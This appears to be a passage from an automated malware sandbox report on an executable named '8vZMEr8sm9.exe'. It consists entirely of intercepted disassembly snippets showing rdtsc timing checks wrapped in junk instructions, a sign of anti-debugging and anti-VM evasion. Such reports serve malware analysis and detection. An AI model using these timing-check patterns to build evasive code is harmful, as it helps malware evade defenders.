Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 34DBCE second address: 34DBE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9B30E293BFh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3551C5 second address: 3551CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3551CD second address: 3551D7 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9B30E293B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3551D7 second address: 3551E7 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F9B30829932h 0x00000008 jnl 00007F9B30829926h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3551E7 second address: 3551F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push esi 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 355449 second address: 35544E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 357D09 second address: 357D20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9B30E293BAh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007F9B30E293B6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 357D20 second address: 357D24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 35790A second address: 357912 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 357912 second address: 357918 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 35E3DB second address: 35E3DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 35D028 second address: 35D02E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2C58FC second address: 2C5900 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 363057 second address: 36305C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3623B3 second address: 3623BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 36267C second address: 362685 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 362685 second address: 36268F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F9B30E293B6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 362819 second address: 36284E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30829938h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F9B30829939h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 36284E second address: 362863 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9B30E293B8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jnp 00007F9B30E293B6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 362863 second address: 362887 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F9B3082992Eh 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e jo 00007F9B30829926h 0x00000014 push esi 0x00000015 pop esi 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 362887 second address: 36288B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2D4C5D second address: 2D4C63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2D4C63 second address: 2D4C6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 36590A second address: 36593B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 jmp 00007F9B30829933h 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F9B30829930h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 36593B second address: 365963 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30E293C9h 0x00000007 jl 00007F9B30E293B6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 365963 second address: 365970 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jp 00007F9B30829926h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 365B37 second address: 365B3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 36D5F7 second address: 36D5FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 36D5FD second address: 36D601 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 36D601 second address: 36D617 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9B30829930h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 36D617 second address: 36D621 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9B30E293C2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 36D621 second address: 36D627 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 36B76B second address: 36B76F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 36B8D9 second address: 36B8EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push ebx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jno 00007F9B30829926h 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 36C526 second address: 36C52B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 36CAB3 second address: 36CAB8 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 36CDC6 second address: 36CDCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 36CDCC second address: 36CDD2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 36FB04 second address: 36FB17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F9B30E293BEh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 371253 second address: 371257 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2D30D4 second address: 2D30DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2D30DA second address: 2D30FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F9B30829934h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 379608 second address: 37960C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 37960C second address: 379618 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 37977C second address: 37978D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F9B30E293B6h 0x0000000a jne 00007F9B30E293B6h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3798B8 second address: 3798CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jnc 00007F9B30829926h 0x0000000c js 00007F9B30829926h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3798CA second address: 3798D0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 383340 second address: 38335B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9B3082992Ah 0x00000009 pop eax 0x0000000a jo 00007F9B30829928h 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 38335B second address: 383361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 383361 second address: 383367 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2BEDDA second address: 2BEDE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2BEDE3 second address: 2BEE0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F9B30829939h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 381508 second address: 381515 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jg 00007F9B30E293B6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 381672 second address: 381678 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 381C11 second address: 381C1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F9B30E293B6h 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 381C1C second address: 381C38 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B3082992Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jl 00007F9B30829930h 0x0000000f push edi 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 381EDB second address: 381EDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 381EDF second address: 381EEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 381EEC second address: 381EF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 381EF7 second address: 381EFD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 382041 second address: 382047 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3821B4 second address: 3821DB instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9B30829926h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F9B30829938h 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2CDF8E second address: 2CDFA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push esi 0x00000006 pop esi 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jns 00007F9B30E293B6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2CDFA2 second address: 2CDFC5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B3082992Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d popad 0x0000000e jne 00007F9B30829926h 0x00000014 popad 0x00000015 popad 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2CDFC5 second address: 2CE003 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B30E293BCh 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F9B30E293C1h 0x00000011 push edx 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push esi 0x00000015 pushad 0x00000016 popad 0x00000017 pop esi 0x00000018 push eax 0x00000019 push edx 0x0000001a jl 00007F9B30E293B6h 0x00000020 jmp 00007F9B30E293BBh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2CE003 second address: 2CE007 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 2CE007 second address: 2CE00D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 39AF2D second address: 39AF33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 39AF33 second address: 39AF37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 39AF37 second address: 39AF3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 39AF3B second address: 39AF45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 39AF45 second address: 39AF4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 39AF4B second address: 39AF4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 39AF4F second address: 39AF63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a jmp 00007F9B3082992Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 39DBE6 second address: 39DBEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 39DBEA second address: 39DBFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a jo 00007F9B30829926h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 39D814 second address: 39D81D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 39D81D second address: 39D821 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3ADD75 second address: 3ADDAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F9B30E293B6h 0x0000000a pop edi 0x0000000b pushad 0x0000000c jmp 00007F9B30E293BEh 0x00000011 jmp 00007F9B30E293C7h 0x00000016 jne 00007F9B30E293B6h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3B627B second address: 3B6298 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9B30829932h 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3B688F second address: 3B689B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 popad 0x00000008 push esi 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3B689B second address: 3B68AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F9B30829926h 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3B68AA second address: 3B68AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3B6BE8 second address: 3B6BEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3B6BEC second address: 3B6BF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3B6D53 second address: 3B6D70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F9B30829938h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3B77EB second address: 3B77F5 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F9B30E293B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3BB6FF second address: 3BB705 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3BB705 second address: 3BB70A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3BB70A second address: 3BB722 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9B3082992Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 jl 00007F9B30829926h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3BB722 second address: 3BB745 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d push edi 0x0000000e pop edi 0x0000000f pop edx 0x00000010 jmp 00007F9B30E293C3h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3D8FA5 second address: 3D8FA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3DAFDB second address: 3DAFE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3DAFE1 second address: 3DAFEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3DABB6 second address: 3DABBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\8vZMEr8sm9.exe	RDTSC instruction interceptor: First address: 3DACFF second address: 3DAD07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
